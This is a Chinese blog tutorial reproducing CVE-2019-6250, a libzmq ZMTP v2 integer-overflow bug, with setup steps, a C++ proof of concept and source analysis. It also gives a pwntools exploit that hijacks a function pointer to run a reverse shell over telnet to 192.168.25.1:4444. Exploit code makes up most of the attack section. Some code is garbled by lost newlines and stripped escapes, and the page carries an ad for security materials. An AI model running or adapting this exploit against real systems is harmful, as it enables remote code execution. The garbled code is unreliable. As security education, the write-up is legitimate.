CVE初探之漏洞反弹Shell(CVE-2019-6250)

概述

ZMQ(Zero MessageQueue)是一种基于消息队列得多线程网络库,C++编写,可以使得Socket编程更加简单高效。

该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTPv2.0协议中。

这一漏洞已经有很多师傅都已经分析并复现过了,但在环境搭建和最后的利用都所少有一些不完整,为了更好的学习,在学习师傅们的文章后,我进行了复现,并进行了些许补充,供师傅们学习,特别是刚开始复现CVE的师傅。

环境搭建

复现CVE最关键也是最繁琐的一步就是搭建漏洞环境,尽量保持与CVE报告的漏洞环境一致,如旧版本环境实在搞不到,就只能对新版本进行适当patch,把漏洞部分恢复以进行复现。

下面是针对该漏洞的环境搭建步骤

下载目标版本并安装

bash 复制代码
git clone https://github.com/zeromq/libzmq.gitcd libzmqgit reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3sudo apt-get install libtool pkg-config build-essential autoconfautomake./autogen.sh./configuremakesudo make install

下载cppzmq

bash 复制代码
git clone https://github.com/zeromq/cppzmqcd cppzmqcmake .sudo make -j4 install

测试

bash 复制代码
cd demo编辑main.cpp,添加printf("hello worldn");mkdir buildcd buildcmake ..make./demo

demo可以正常执行即可

在我看到的几篇文章中,cppzmq好像都少了最后的make,导致编译并没有完全结束,影响后面的复现

漏洞复现

先看看已有的poc

sql 复制代码
#include <netinet/in.h>#include <arpa/inet.h>#include <zmq.hpp>#include <string>#include <iostream>#include <unistd.h>#include <thread>#include <mutex>​class Thread {public:Thread() : the_thread(&Thread::ThreadMain, this){ }~Thread(){}private:std::thread the_thread;void ThreadMain() {zmq::context_t context (1);zmq::socket_t socket (context, ZMQ_REP);socket.bind ("tcp://*:6666");​while (true) {zmq::message_t request;​// Wait for next request from clienttry {socket.recv (&request);} catch ( ... ) { }}}};​static void callRemoteFunction(const uint64_t arg1Addr, const uint64_targ2Addr, const uint64_t funcAddr){int s;struct sockaddr_in remote_addr = {};if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){abort();}remote_addr.sin_family = AF_INET;remote_addr.sin_port = htons(6666);inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);​if (connect(s, (struct sockaddr *)&remote_addr, sizeof(structsockaddr)) == -1){abort();}​const uint8_t greeting[] = {0xFF, /* Indicates 'versioned' inzmq::stream_engine_t::receive_greeting */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */0x01, /* Indicates 'versioned' inzmq::stream_engine_t::receive_greeting */0x01, /* Selects ZMTP_2_0 inzmq::stream_engine_t::select_handshake_fun */0x00, /* Unused */};send(s, greeting, sizeof(greeting), 0);​const uint8_t v2msg[] = {0x02, /* v2_decoder_t::eight_byte_size_ready */0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */};send(s, v2msg, sizeof(v2msg), 0);​/* Write UNTIL the location of zmq::msg_t::content_t */size_t plsize = 8183;uint8_t* pl = (uint8_t*)calloc(1, plsize);send(s, pl, plsize, 0);free(pl);​uint8_t content_t_replacement[] = {/* void* data */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,​/* size_t size */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,​/* msg_free_fn *ffn */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,​/* void* hint */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,};​/* Assumes same endianness as target */memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));​/* Overwrite zmq::msg_t::content_t */send(s, content_t_replacement, sizeof(content_t_replacement), 0);​close(s);sleep(1);}​char destbuffer[100];char srcbuffer[100] = "ping google.com";​int main(void){Thread* rt = new Thread();sleep(1);​callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer,(uint64_t)strcpy);​callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);​return 0;}​复制到demo重新编译

执行./demo

复现成功

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

POC分析

poc主要包括下面四部分

复制代码
greetingv2msgplsizecontent_t_replacement

v2msg用于设置msg_size=0xffffffffffffffff,其中的0x2标识程序进入eight_byte_size_ready状态,调用zmq::v2_decoder_t::size_ready进行解析,zmq::v2_decoder_t::size_ready方法在做比较判断的时候,使用的read_pos_ +msg_size加法发生整型溢出,导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法,该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。

erlang 复制代码
if (unlikely (!_zero_copy|| ((unsigned char *) read_pos_ + msg_size_> (allocator.data () + allocator.size ())))) {rc = _in_progress.init_size (static_cast<size_t> (msg_size_));} else {rc = _in_progress.init (const_cast<unsigned char *> (read_pos_),static_cast<size_t> (msg_size_),shared_message_memory_allocator::call_dec_ref,allocator.buffer (), allocator.provide_content ());if (_in_progress.is_zcmsg ()) {allocator.advance_content ();allocator.inc_ref ();}}

plsize作为padding,长度为0x1FF7,使得content_t_replacement可以覆盖_u.zclmsg.content指向的结构体。

ffn为函数指针,data和hint为两个参数的地址值,ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用,看下图调试结果,成功执行了call0xdeadbeaf

反弹Shell

由于还不清楚如何泄露地址,这里基于没有开PIE的程序编写exp。

通过分析POC,我们发现可以控制ffn,data和hint,即调用函数和两个参数,可以实现远程代码执行。

那么我的目标是反弹shell,也就是执行

perl 复制代码
system("mknod backpipe1 p && telnet192.168.25.1 4444 0<backpipe1 | /bin/bash1>backpipe1;")

,当然这只是其中一种方式。

那么,我的想法是,在二进制文件中找命令中的所有字符,通过执行strcpy进行拷贝,拼接成完整的命令,最后用调用system函数进行执行,实现反弹shell。

exp如下

css 复制代码
#!/usr/bin/env python# -*- encoding: utf-8 -*-'''@File : exp.py@Time : 2023/06/24 08:59:34@Author : 5ma11wh1t3@Contact : 197489628@qq.com'''​import ctypesfrom pwn import *import base64context.log_level=Truecontext.arch='amd64'elf_path = './build/demo'elf = ELF(elf_path)ru = lambda x : p.recvuntil(x)sn = lambda x : p.send(x)rl = lambda : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a,b)sla = lambda a,b : p.sendlineafter(a,b)inter = lambda : p.interactive()def debug():    gdb.attach(p, 'directory    /home/guo/Desktop/cve/cve-2019-6250/libzmq/src')    pause()def lg(s,addr = None):    if addr:        print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))    else:        print('033[1;32;40m[-] %-20s 033[0m'%(s))​if __name__ == '__main__':    re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1    | /bin/bash 1>backpipe1;"    with open(elf_path,'rb') as f:    binary = f.read()    ads = []    for char in re_shell:    char_address = 0x400000 + binary.index(char)    ads.append(char_address)    for i in range(len(ads)):    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8+i) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    sn(p1)    p.close()    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['system']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    # raw_input()    sn(p1)    p.close()

演示

攻击准备

本地起监听

server

攻击实施

获得shell

相关推荐
Irene199110 小时前
Shell 相关基础入门,在 Ubuntu 与 CentOS Shell 中的语法差异总结(bash、dash、sh)
shell
小肝一下10 小时前
5. 基础IO
android·linux·shell·基础io·操作系统底层·伊涅夫·伊雷娜
红茶要加冰2 天前
七、正则表达式
linux·运维·正则表达式·shell
lifewange2 天前
WSL安装问题解决
shell
AdCj32 天前
放弃第三方框架,用系统自带工具玩转 Shell 测试
shell·测试
红茶要加冰2 天前
九、文本处理三剑客——sed
linux·运维·服务器·正则表达式·shell
红茶要加冰3 天前
五、流程控制之循环
linux·运维·shell
红茶要加冰3 天前
二、shell中的变量
linux·运维·shell
Irene19913 天前
大数据开发(Hadoop/Spark 生态)在 Ubuntu 环境下:5 个高频率使用的功能性 Shell 脚本
shell
Irene19913 天前
(课堂笔记)Shell 基础入门:语言特点、文件结构、变量定义与引用、循环、脚本调用、入参等
shell